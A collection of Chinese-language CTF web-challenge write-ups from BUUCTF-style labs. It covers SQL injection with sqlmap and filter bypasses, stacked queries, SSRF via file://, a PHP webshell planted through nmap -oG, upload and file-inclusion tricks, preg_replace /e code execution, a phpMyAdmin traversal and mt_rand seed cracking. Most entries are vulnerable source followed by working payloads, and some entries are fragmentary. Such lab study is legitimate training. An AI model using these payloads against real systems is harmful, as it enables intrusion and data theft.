[MRCTF2020]Ezaudit <?php header ('Content-type:text/html; charset=utf-8' );error_reporting (0 );if (isset ($_POST ['login' ])){ $username = $_POST ['username' ]; $password = $_POST ['password' ]; $Private_key = $_POST ['Private_key' ]; if (($username == '' ) || ($password == '' ) ||($Private_key == '' )) { header ('refresh:2; url=login.html' ); echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!" ; exit ; } else if ($Private_key != '*************' ) { header ('refresh:2; url=login.html' ); echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!" ; exit ; } else { if ($Private_key === '************' ){ $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password '" .';' ; $link =mysql_connect ("localhost" ,"root" ,"root" ); mysql_select_db ("test" ,$link ); $result = mysql_query ($getuser ); while ($row =mysql_fetch_assoc ($result )){ echo "<tr><td>" .$row ["username" ]."</td><td>" .$row ["flag" ]."</td><td>" ; } } } } function public_key ($length = 16 ) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $public_key = '' ; for ( $i = 0 ; $i < $length ; $i ++ ) $public_key .= substr ($strings1 , mt_rand (0 , strlen ($strings1 ) - 1 ), 1 ); return $public_key ; } function private_key ($length = 12 ) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $private_key = '' ; for ( $i = 0 ; $i < $length ; $i ++ ) $private_key .= substr ($strings2 , mt_rand (0 , strlen ($strings2 ) - 1 ), 1 ); return $private_key ; } $Public_key = public_key ();
密码直接万能密码绕过,题目给了公钥,可以根据公钥,反推出私钥
伪随机数php_mt_rand() .伪随机数会根据种子(seed)和调用次数(i)生成伪随机数,常用的是mt_rand(min,max)函数,首先将公钥转换为工具可以识别的字符串
str1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" str2 = 'KVQP0LdJKRaV3n9D' str3 = str1[::-1 ] res = '' for i in range (len (str2)): for j in range (len (str1)): if str2[i] == str1[j]: res += str (j)+' ' +str (j)+' ' +'0' +' ' +str (len (str1) - 1 )+' ' break print (res)
https://www.openwall.com/php_mt_seed/
tar -zxvf php_mt_seed-4.0.tar.gz cd php_mt_seed-4.0 chmod +x php_mt_seed.c make
make time ./php_mt_seed 36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
先把php版本降下来
<?php mt_srand (1775196155 );function public_key ($length = 16 ) { $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $public_key = '' ; for ( $i = 0 ; $i < $length ; $i ++ ) $public_key .= substr ($strings1 , mt_rand (0 , strlen ($strings1 ) - 1 ), 1 ); return $public_key ; } function private_key ($length = 12 ) { $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $private_key = '' ; for ( $i = 0 ; $i < $length ; $i ++ ) $private_key .= substr ($strings2 , mt_rand (0 , strlen ($strings2 ) - 1 ), 1 ); return $private_key ; } echo public_key ();echo "<br>" ;echo private_key ();
[网鼎杯 2018]Fakebook 打开网页有login 与join界面login弱口令登录试试,登录使用sqlmap跑一下看有无注入
python sqlmap.py -r C:\Users\14980\Desktop\text1.txt --level 4 --dbs --batch
查看一下源码,在扫描一下目录
发现这些挨个访问看看在robots.txt页面发现有
User-agent: * Disallow: /user.php.bak
上面的文件虽然存在但是却无法访问到,有可能是因为权限不够,需要找系统中访问的其他方式
接下来下载下来user.php.bak得到源码
<?php class UserInfo { public $name = "" ; public $age = 0 ; public $blog = "" ; public function __construct ($name , $age , $blog ) { $this ->name = $name ; $this ->age = (int )$age ; $this ->blog = $blog ; } function get ($url ) { $ch = curl_init ();$output = curl_exec ($ch );$httpCode = curl_getinfo ($ch , CURLINFO_HTTP_CODE);if ($httpCode == 404 ) { return 404 ; } curl_close ($ch );return $output ; } public function getBlogContents ( ) { return $this ->get ($this ->blog); } public function isValidBlog ( ) { $blog = $this ->blog; return preg_match ("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i" , $blog ); }}
访问 view.php发现报错信息,得到绝对路径
这里对join 注册页面进行抓包使用sqlmap抓包看看有无注入发现有一个注入点
python sqlmap.py -r C:\Users\14980\Desktop\text1.txt -dbs --batch //这里得到数据库名 available databases [5]: [*] fakebook [*] information_schema [*] mysql [*] performance_schema [*] test python sqlmap.py -r C:\Users\14980\Desktop\text1.txt -D fakebook --tables --batch //这里得到表名 users python sqlmap.py -r C:\Users\14980\Desktop\text1.txt -D fakebook -T users --dump --batch //这里得到字段 -----------------------------------------------------------------+ | no | data | passwd | username ---------------------------------------------+ | 1 | O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:0;s:4:"blog";s:6:"1.blog";} | 1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08d560252aa5e74210546f369fbbbce8c12cfc7957b2652fe9a75 (a) | admin | | 2 | O:8:"UserInfo":3:{s:4:"name";s:100:"admin' AND ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM fakebook.users),1,1))>51-- yBdB";s:3:"age";i:4;s:4:"blog";s:6:"1.blog";} | 1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08d560252aa5e74210546f369fbbbce8c12cfc7957b2652fe9a75 (a) | admin' AND ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS NCHAR),0x20) FROM fakebook.users),1,1))>51-- yBdB |
注册完成登录进去之后会发现只有一个username可以点击可以发现其在访问页面,在url中
http://111.200.241.244:64253/view.php?no=1
尝试一下sql注入发现报错信息
http://111.200.241.244:64253/view.php?no=1 and 1=1# 正常 http://111.200.241.244:64253/view.php?no=1 and 1=2# 错误
可以发现有注入点,这里发现字段数为4
view.php?no=1 order by 3# 错误 view.php?no=1 order by 4# 正常 view.php?no=1 order by 5# 错误
在这里发现网页有对sql注入语句的过滤
http://111.200.241.244:64253/view.php?no=-1 union select 1,2,3,4#
这里经过fuzz发现单个的字符并未进行过滤而是过滤的union select整个语句所以这里使用注释符/**/进行绕过,或者++进行绕过
http://111.200.241.244:64253/view.php?no=-1 union++select 1,2,3,4 http://111.200.241.244:64253/view.php?no=-1 union/**/select 1,2,3,4
这里发现2字段可以使用这里直接使用load_file()函数获取系统文件要求,权限较高,且要求文件的绝对路径,这里并没有
这里继续注入一下其他内容看看
http://111.200.241.244:64253/view.php?no=-1 union/**/select 1,user(),3,4 //获得用户名 root@localhost http://111.200.241.244:64253/view.php?no=-1 union/**/select 1,database(),3,4 //获得数据库名 fakebook http://111.200.241.244:64253/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"# //获取fakebook中的表名 users http://111.200.241.244:64253/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"# //获取数据库名为fakebook,表名为users中的字段名 no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS http://111.200.241.244:63407//view.php?no=-1 union/**/select 1,group_concat(data,username,passwd),3,4 from users where no=1# //获取数据库名为fakebook,表名为users中的字段名为data,username,passwd的值 O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:38:"https://zhuanlan.zhihu.com/p/161412754";}a1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08d560252aa5e74210546f369fbbbce8c12cfc7957b2652fe9a75
这里的序列化对象便与之前的获得到的user.php.bak 进行了对应 这里便是进行反序列化了class UserInfo{}类
最开始时的用户页面no=1时,页面返回用户的用户名、密码、博客之类的消息。毫无疑问,页面是根据users表中no=1的这条数据,渲染的页面。因为回显,我们只证明了查询语句的第二个字段是username。其余三个字段并不明确,但我们可以猜测,应该和数据库表中的字段顺序相似。第四个字段应该就是data,而我们现在有一个现成的data数据,能否模拟下?
http://111.200.241.244:63407//view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:38:"https://zhuanlan.zhihu.com/p/161412754";}'#
注意no现在的值为2,我们知道这个用户是不存在的。换而言之,原SQL语句的查询结果为空,而我们通过union加入了我们构造的查询语句,让SQL语句有了查询结果,并且此查询结果符合页面渲染要求,所以页面正常显示了。并且由此得知,只要有data字段的对象序列,就可以成功渲染页面,其他字段并不是很重要。(页面中age和blog的值,显然也都是从序列化的对象里面得到的)
因此这里需要构造blog参数的内容
file:///var/www/html/flag.php
原因是在源码中有blog的base64编码
<iframe width ='100%' height ='10em' src ='data:text/html;base64,' >
这里利用了File协议读取本地文件,使用PHP构造出payload
<?php class UserInfo { public $name = "s" ; public $age = 1 ; public $blog = "file:///var/www/html/flag.php" ; } $a = new UserInfo ();echo serialize ($a );
接着进行访问
http://111.200.241.244:63407//view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"s";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
得到base64加密文件
这里进行base64解密得到
<?php $flag = "flag{c1e552fdf77049fabf65168f22f7aeab}" ;exit (0 );
也可以直接点击链接
[GXYCTF2019]BabyUpload
不可php
类型也不对
内容也有检查来个短标签,这里的php版本是5.x
传个.htaccess去解析一下png文件
[RoarCTF 2019]Easy Java
java题目一般都要先获取源码,但是这里的get方法却获取不了,改了一下请求方式就好了
<servlet > <servlet-name > IndexController</servlet-name > <servlet-class > com.wm.ctf.IndexController</servlet-class > </servlet > <servlet-mapping > <servlet-name > IndexController</servlet-name > <url-pattern > /Index</url-pattern > </servlet-mapping > <servlet > <servlet-name > LoginController</servlet-name > <servlet-class > com.wm.ctf.LoginController</servlet-class > </servlet > <servlet-mapping > <servlet-name > LoginController</servlet-name > <url-pattern > /Login</url-pattern > </servlet-mapping > <servlet > <servlet-name > DownloadController</servlet-name > <servlet-class > com.wm.ctf.DownloadController</servlet-class > </servlet > <servlet-mapping > <servlet-name > DownloadController</servlet-name > <url-pattern > /Download</url-pattern > </servlet-mapping > <servlet > <servlet-name > FlagController</servlet-name > <servlet-class > com.wm.ctf.FlagController</servlet-class > </servlet > <servlet-mapping > <servlet-name > FlagController</servlet-name > <url-pattern > /Flag</url-pattern > </servlet-mapping > </web-app >
WEB-INF/classes/com/wm/ctf/IndexController.class
????
<?php if (isset ($_SERVER ['HTTP_X_FORWARDED_FOR' ])) { $_SERVER ['REMOTE_ADDR' ] = $_SERVER ['HTTP_X_FORWARDED_FOR' ]; } if (!isset ($_GET ['host' ])) { highlight_file (__FILE__ ); } else { $host = $_GET ['host' ]; $host = escapeshellarg ($host ); $host = escapeshellcmd ($host ); $sandbox = md5 ("glzjin" . $_SERVER ['REMOTE_ADDR' ]); echo 'you are in sandbox ' .$sandbox ; @mkdir ($sandbox ); chdir ($sandbox ); echo system ("nmap -T5 -sT -Pn --host-timeout 2 -F " .$host ); }
escapeshellarg() 把字符串转码为可以在shell命令里面使用的参数,给字符串增加一个单引号,并且能引用或者转码任何已经存在的单引号,以确保能够直接将一个字符串传入shell函数,并且还是安全的.就是如果输入的内容不包含单引号,则直接对输入的字符串添加一堆单引号括起来;如果输入内容包含单引号,则先对该单引号进行转义,在对剩余部分字符串添加响应对数的单引号括起来 场景 确保用户只传递一个参数给命令 用户不能指定更多的参数 用户不能执行不同的命令 escapeshellcmd() shell元字符转义,对字符串中可能会欺骗shell命令执行任意命令的字符串进行转义.此函数确保用户输入的数据在传送到exec()或者system()函数,或者执行操作符之前进行转义.就是如果输入内容中出现上述的字符就会使用反斜杠转义掉,如果单引号和双引号不是成对出现,会被转义掉 场景 确保用户只执行一个命令 用户可以指定不限数量的参数 用户不能执行不同的命令
接着这个题用到了Nmap的命令,我们可以找一下nmap有哪些可以存在注入的参数。通过查找nmap的参数发现,有一个-oG的参数可以将执行的结果放到指定文件中
?host=' <?php @eval($_POST["cmd"]);?> -oG 1.php '
[BJDCTF2020]The mystery of ip
给了个ip,改下X-Forwarded-For试试
试了下模板可以执行
[GXYCTF2019]禁止套娃
git源码泄露
python2 GitHack.py http://d4a3c021-1245-4189-a0f7-305032560dee.node4.buuoj.cn/.git/
<?php include "flag.php" ;echo "flag在哪里呢?<br>" ;if (isset ($_GET ['exp' ])){ if (!preg_match ('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET ['exp' ])) { if (';' === preg_replace ('/[a-z,_]+\((?R)?\)/' , NULL , $_GET ['exp' ])) { if (!preg_match ('/et|na|info|dec|bin|hex|oct|pi|log/i' , $_GET ['exp' ])) { @eval ($_GET ['exp' ]); } else { die ("还差一点哦!" ); } } else { die ("再好好想想!" ); } } else { die ("还想读flag,臭弟弟!" ); } } ?>
正则表达式这里(?R)是引用当前表达式,(?R)?这里有一个?表示匹配0到多个前面的.引用异常正则表达式则变成了
[a-z,_]+\([a-z,_]+\((?R)?\)\)
那么他匹配的就是print(echo(1))这种
localeconv()函数返回一包含本地数字及货币格式信息的数组.
<?php var_dump (localeconv ());
可见第一个就是.点
current()函数返回数组中的当前元素的值.每一个数组都有一个内部的指针指向它的当前元素,初始指向插入到数组中的第一个元素
scandir()列出指定目录中的文件和目录,当参数为点时,即列出当前目录的文件
?exp=print_r(scandir(current(localeconv())));
next()函数将内部的指针指向数组的下一个元素并输出
?exp=print_r(next(array_reverse(scandir(current(localeconv()))))); ?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
利用session_id()实现任意文件读取
session_id可以获取PHPSESSID的值,而我们知道PHPSESSID允许出现字母和数字,而flag.php符合条件,因此我们在请求包中cookie: PHPSESSID=flag.php,使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的,seddion_id()可以获取得到当前的session id
?exp=readfile(session_id(session_start()));
[BJDCTF2020]ZJCTF,不过如此 <?php error_reporting (0 );$text = $_GET ["text" ];$file = $_GET ["file" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="I have a dream" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ die ("Not now!" ); } include ($file ); } else { highlight_file (__FILE__ ); } ?>
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/convert.base64-encode/resource=next.php
<?php $id = $_GET ['id' ];$_SESSION ['id' ] = $id ;function complex ($re , $str ) { return preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); } foreach ($_GET as $re => $str ) { echo complex ($re , $str ). "\n" ; } function getFlag ( ) { @eval ($_GET ['cmd' ]); }
preg_replace()/e模式的漏洞
如果我们直接传.*由于php字符会被解析.会被替代成下划线.所以需要换成\S,表示匹配非空以外的所有字符
[GWCTF 2019]我有一个数据库
扫到phpmyadmin
phpmyadmin(1) phpmyadmin(2)
/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../flag
BUUCTF随便注
习惯扫目录,没扫到
输入单引号,报错得出数据库mariadb
-1' union select 1,2#发现有过滤
大小写也绕不过
那么只能堆叠注入了
这里查看一个flag在那个字段里
1';desc `1919810931114514`;#
查一下下一个
1';desc `words`;# 这里也可以不加``
那么这里面的id就有可能是我们查询时输入的值了,他的查询语句就可能是
select id,data from words where id=''
如果是这样的话,我们就可以将这里的words替换成1919810931114514将flag替换成id从而实现获取数据.那么可以将1919810931114514改名为words,在这之前需要先将words改下名,改成别的如word1.将flag改成data.但是在1919810931114514并没有id这个列名,那么我们可以给他添加一组id.
1';rename table words to word1;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key; alter table words change flag data varchar(100);#
接着才查询1
堆叠注入,绕过||限制 BUUCTF的suctf2019,EasySQL
闭合测试
这里输入’没有回显也没有报错
这里发现有过滤,本来想fuzz的发现平台靶机不让扫手工测试吧
发现过滤了union,那么联合注入肯定就不行了.
尝试一下堆叠注入,发现回显了数据库
接着查一下表
但是查字段的时候发现了问题,这里发现from 和 flag 都被过滤了,这怎么注入
这块需要我们对后端的语句进行猜测,通过输入非零数字得到回显和输入其他字符得不到回显来判断出内部的查询语句可能存在有|| ,也就是select 输入的数据|| 内置一个列名 from 表名,进一步猜测即为select post 进去的数据 || flag from flag (含有数据的表名,通过堆叠注入可知),需要注意的是,此时的|| 起到的作用是or 的作用
方法一
输入的内容为 *,1 内置的sql语句为sql = "select".sql = "select".post['query']."||flag from flag"; 那么最终语句就是 "select *,1 || flag from flag"也就是select *,1 from flag;也就直接查出来flag表中的所有数据
方法二
输入内容为1; set sql_mode=pipes_as_concat;select 1 其中set sql_mode=pipes_as_concat的作用是将||的作用由or变为拼接字符串
查询当前数据库的sql_mode
这个sql_mode下使用||异或运算符
select 0 || flag from flag;
当设置sql_mode为PIPES_AS_CONCAT时,将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似
set sql_mode=PIPES_AS_CONCAT;
select 1 || flag from flag;
sql="select".sql="select".post[‘query’]."||flag from Flag"; query=3;set sql_mode=PIPES_AS_CONCAT;select 3
附加几种常见的sql_mode值的介绍: 几种常见的mode介绍 ONLY_FULL_GROUP_BY:出现在select语句、HAVING条件和ORDER BY语句中的列,必须是GROUP BY的列或者依赖于GROUP BY列的函数列。 NO_AUTO_VALUE_ON_ZERO:该值影响自增长列的插入。默认设置下,插入0或NULL代表生成下一个自增长值。如果用户希望插入的值为0,而该列又是自增长的,那么这个选项就有用了。 STRICT_TRANS_TABLES:在该模式下,如果一个值不能插入到一个事务表中,则中断当前的操作,对非事务表不做限制 NO_ZERO_IN_DATE:这个模式影响了是否允许日期中的月份和日包含0。如果开启此模式,2016-01-00是不允许的,但是0000-02-01是允许的。它实际的行为受到 strict mode是否开启的影响1。 NO_ZERO_DATE:设置该值,mysql数据库不允许插入零日期。它实际的行为受到 strictmode是否开启的影响2。 ERROR_FOR_DIVISION_BY_ZERO:在INSERT或UPDATE过程中,如果数据被零除,则产生错误而非警告。如果未给出该模式,那么数据被零除时MySQL返回NULL NO_AUTO_CREATE_USER:禁止GRANT创建密码为空的用户 NO_ENGINE_SUBSTITUTION:如果需要的存储引擎被禁用或未编译,那么抛出错误。不设置此值时,用默认的存储引擎替代,并抛出一个异常 PIPES_AS_CONCAT:将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似 ANSI_QUOTES:启用ANSI_QUOTES后,不能用双引号来引用字符串,因为它被解释为识别符